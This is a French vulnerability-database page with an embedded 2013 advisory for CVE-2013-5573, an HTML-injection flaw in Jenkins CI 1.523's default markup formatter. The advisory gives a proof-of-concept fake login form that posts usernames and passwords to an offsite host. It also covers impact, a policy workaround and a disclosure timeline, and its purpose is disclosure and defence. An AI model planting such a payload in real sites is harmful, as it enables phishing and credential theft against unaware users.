CVE-2013-5573 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

################################################### 01. ### Advisory Information ### Title: Default markup formatter permits offsite-bound forms Date published : 2013-12-16 Date of last update: 2013-12-16 Vendors contacted : Jenkins CI v 1.523 Discovered by: Christian Catalano Severity: Low 02. ### Vulnerability Information ### CVE reference: CVE-2013-5573 CVSS v2 Base Score: 4.7 CVSS v2 Vector : (AV:N/AC:L/Au:M/C:P/I:P/A:N) Component/s : Jenkins CI v 1.523 Class : HTML Injection 03. ### Introduction ### Jenkins CI is an extendable open source continuous integration server http://jenkins-ci.org. 04. ### Vulnerability Description ### The default installation and configuration of Jenkins CI is prone to a security vulnerability. The Jenkins CI default markup formatter permits offsite-bound forms. This vulnerability could be exploited by a remote attacker (a malicious user) to inject malicious persistent HTML script code (application side). 05. ### Technical Description / Proof of Concept Code ### The vulnerability is located in the 'Descriotion' input field of the User Configuration function: https://localhost:9444/jenkins/user/attacker/configure To reproduce the vulnerability, the attacker (a malicious user) can add the malicious HTML script code: <form method="POST" action="http://www.mocksite.org/login/login.php."> Username: <input type="text" name="username" size="15" /><br /> Password: <input type="password" name="passwort" size="15" /><br /> <div align="center"> <p><input type="submit" value="Login" /></p> </div> </form> in the 'Descriotion' input field and click on save button. The code execution happens when the victim (an unaware user) view the 'People List' https://localhost:9444/jenkins/asynchPeople/ and click on attacker user id. 06. ### Business Impact ### Exploitation of the persistent web vulnerability requires a low privilege web application user account. Successful exploitation of the vulnerability results in persistent phishing and persistent external redirects. 07. ### Systems Affected ### This vulnerability was tested against: Jenkins CI v1.523 Older versions are probably affected too, but they were not checked. 08. ### Vendor Information, Solutions and Workarounds ### Currently, there are no known upgrades or patches to correct this vulnerability. It is possible to temporarily mitigate the flaw by implementing the following workaround: 'MyspacePolicy' permits tag("form", "action", ONSITE_OR_OFFSITE_URL, "method"); Fix 'MyspacePolicy' by restricting the policy to ONSITE_URL only or perhaps <form> could be banned entirely. 09. ### Credits ### This vulnerability has been discovered by: Christian Catalano aka wastasy ch(dot)catalano(at)gmail(dot)com 10. ### Vulnerability History ### August 21th, 2013: Vulnerability identification August 4th, 2013: Vendor notification [Jenkins CI] November 19th, 2013: Vulnerability confirmation [Jenkins CI] November 19th, 2013: Vendor Solution December 16th, 2013: Vulnerability disclosure 11. ### Disclaimer ### The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. ###################################################